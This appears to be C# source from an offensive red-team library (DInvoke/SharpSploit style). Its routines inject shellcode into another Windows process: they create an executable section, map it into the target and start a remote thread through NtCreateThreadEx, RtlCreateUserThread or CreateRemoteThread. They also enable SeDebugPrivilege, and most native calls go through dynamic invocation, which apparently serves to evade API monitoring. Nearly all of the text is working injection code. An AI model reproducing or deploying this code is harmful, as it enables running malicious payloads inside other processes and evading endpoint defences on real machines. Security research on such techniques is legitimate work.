/// <summary> /// Allocate the payload in the target process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="Payload">The PIC payload to allocate to the target process.</param> /// <param name="Process">The target process.</param> /// <param name="PreferredAddress">The preferred address at which to allocate the payload in the target process.</param> /// <returns>Base address of allocated memory within the target process's virtual memory space.</returns> public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) { // Get a convenient handle for the target process. IntPtr procHandle = Process.Handle; // Create a section to hold our payload IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); // Map a view of the section into our current process with RW permissions SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); // Copy the shellcode to the local view System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); // Now that we are done with the mapped view in our own process, unmap it Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); // Now, map a view of the section to other process. It should already hold the payload. SectionDetails newDetails; if (PreferredAddress != IntPtr.Zero) { // Attempt to allocate at a preferred address. May not end up exactly at the specified location. // Refer to MSDN documentation on ZwMapViewOfSection for details. newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); } else { newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); } return(newDetails.baseAddr); }
public static void GetSeDebugPrivs() { bool previous = false; Object[] rtlAdjustPrivsParams = { 20, true, false, previous }; Native.NTSTATUS status = (Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("ntdll.dll", "RtlAdjustPrivilege", typeof(Delegates.RtlAdjustPrivilege), ref rtlAdjustPrivsParams); Console.WriteLine("[+] SeDebugPrivs obtained"); }
public static IntPtr LoadModuleFromDisk(string DLLPath) { Native.UNICODE_STRING uModuleName = new Native.UNICODE_STRING(); Native.RtlInitUnicodeString(ref uModuleName, DLLPath); IntPtr hModule = IntPtr.Zero; Native.NTSTATUS CallResult = Native.LdrLoadDll(IntPtr.Zero, 0, ref uModuleName, ref hModule); if (CallResult != Native.NTSTATUS.Success || hModule == IntPtr.Zero) { return(IntPtr.Zero); } return(hModule); }
/// <summary> /// Retrieves all currently active handles for all system processes. /// There currently isn't a way to only get it for a specific process. /// This relies on NtQuerySystemInformation which exists in ntdll.dll. /// </summary> /// <returns>Unmanaged IntPtr to the handles (raw data, must be processed)</returns> private static IntPtr GetAllHandles() { int bufferSize = 0x10000; //initial buffer size of 65536 bytes (initial estimate) int actualSize = 0; //will store size of actual data written to buffer //initial allocation IntPtr pSysInfoBuffer = Marshal.AllocHGlobal(bufferSize); Object[] funcparams = { Structs.SYSTEM_INFORMATION_CLASS.SystemHandleInformation, pSysInfoBuffer, bufferSize, actualSize }; Native.NTSTATUS queryResult = (Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("ntdll.dll", "NtQuerySystemInformation", typeof(Delegates.NtQuerySystemInformation), ref funcparams); actualSize = (int)funcparams[3]; // Keep calling until buffer is large enough to fit all handles while (queryResult == Native.NTSTATUS.InfoLengthMismatch) { //deallocate space since we couldn't fit all the handles in Marshal.FreeHGlobal(pSysInfoBuffer); //double buffer size (we can't just use actualSize from last call since # of handles vary in time) bufferSize = bufferSize * 2; //allocate memory with increase buffer size pSysInfoBuffer = Marshal.AllocHGlobal(bufferSize); //have to redefine here or program crashes, the joy of dynamic invocation :D Object[] funcparams2 = { Structs.SYSTEM_INFORMATION_CLASS.SystemHandleInformation, pSysInfoBuffer, bufferSize, actualSize }; //query for handles queryResult = (Native.NTSTATUS)DInvoke.DynamicInvoke.Generic.DynamicAPIInvoke("ntdll.dll", "NtQuerySystemInformation", typeof(Delegates.NtQuerySystemInformation), ref funcparams2); actualSize = (int)funcparams[3]; } if (queryResult == Native.NTSTATUS.Success) { return(pSysInfoBuffer); //pSystInfoBuffer will be freed later } else { //other NTSTATUS, shouldn't happen Marshal.FreeHGlobal(pSysInfoBuffer); return(IntPtr.Zero); } }
/// <summary> /// Creates a new Section. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="size">Max size of the Section.</param> /// <param name="allocationAttributes">Section attributes (eg. Win32.WinNT.SEC_COMMIT).</param> /// <returns></returns> private static IntPtr CreateSection(ulong size, uint allocationAttributes) { // Create a pointer for the section handle IntPtr SectionHandle = new IntPtr(); ulong maxSize = size; Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( ref SectionHandle, 0x10000000, IntPtr.Zero, ref maxSize, Win32.WinNT.PAGE_EXECUTE_READWRITE, allocationAttributes, IntPtr.Zero ); // Perform error checking on the result if (result < 0) { return(IntPtr.Zero); } return(SectionHandle); }
/// <summary> /// Maps a view of a section to the target process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="procHandle">Handle the process that the section will be mapped to.</param> /// <param name="sectionHandle">Handle to the section.</param> /// <param name="protection">What permissions to use on the view.</param> /// <param name="addr">Optional parameter to specify the address of where to map the view.</param> /// <param name="sizeData">Size of the view to map. Must be smaller than the max Section size.</param> /// <returns>A struct containing address and size of the mapped view.</returns> public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) { // Copied so that they may be passed by reference but the original value preserved IntPtr baseAddr = addr; ulong size = sizeData; uint disp = 2; uint alloc = 0; // Returns an NTSTATUS value Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( sectionHandle, procHandle, ref baseAddr, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref size, disp, alloc, protection ); // Create a struct to hold the results. SectionDetails details = new SectionDetails(baseAddr, sizeData); return(details); }
/// <summary> /// Create a thread in the remote process. /// </summary> /// <author>The Wover (@TheRealWover)</author> /// <param name="Payload">The shellcode payload to execute in the target process.</param> /// <param name="BaseAddress">The address of the shellcode in the target process.</param> /// <param name="Process">The target process to inject into.</param> /// <returns></returns> public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) { IntPtr threadHandle = new IntPtr(); Native.NTSTATUS result = Native.NTSTATUS.Unsuccessful; if (api == APIS.NtCreateThreadEx) { // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. result = DynamicInvoke.Native.NtCreateThreadEx( ref threadHandle, Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, IntPtr.Zero, Process.Handle, BaseAddress, IntPtr.Zero, suspended, 0, 0, 0, IntPtr.Zero ); } else if (api == APIS.RtlCreateUserThread) { // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. result = DynamicInvoke.Native.RtlCreateUserThread( Process.Handle, IntPtr.Zero, suspended, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, BaseAddress, IntPtr.Zero, ref threadHandle, IntPtr.Zero ); } else if (api == APIS.CreateRemoteThread) { uint flags = suspended ? (uint)0x00000004 : 0; IntPtr threadid = new IntPtr(); // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. threadHandle = DynamicInvoke.Win32.CreateRemoteThread( Process.Handle, IntPtr.Zero, 0, BaseAddress, IntPtr.Zero, flags, ref threadid ); if (threadHandle == IntPtr.Zero) { return(false); } handle = threadHandle; return(true); } // If successful, return the handle to the new thread. Otherwise return NULL if (result == Native.NTSTATUS.Unsuccessful || result <= Native.NTSTATUS.Success) { return(false); } handle = threadHandle; return(true); }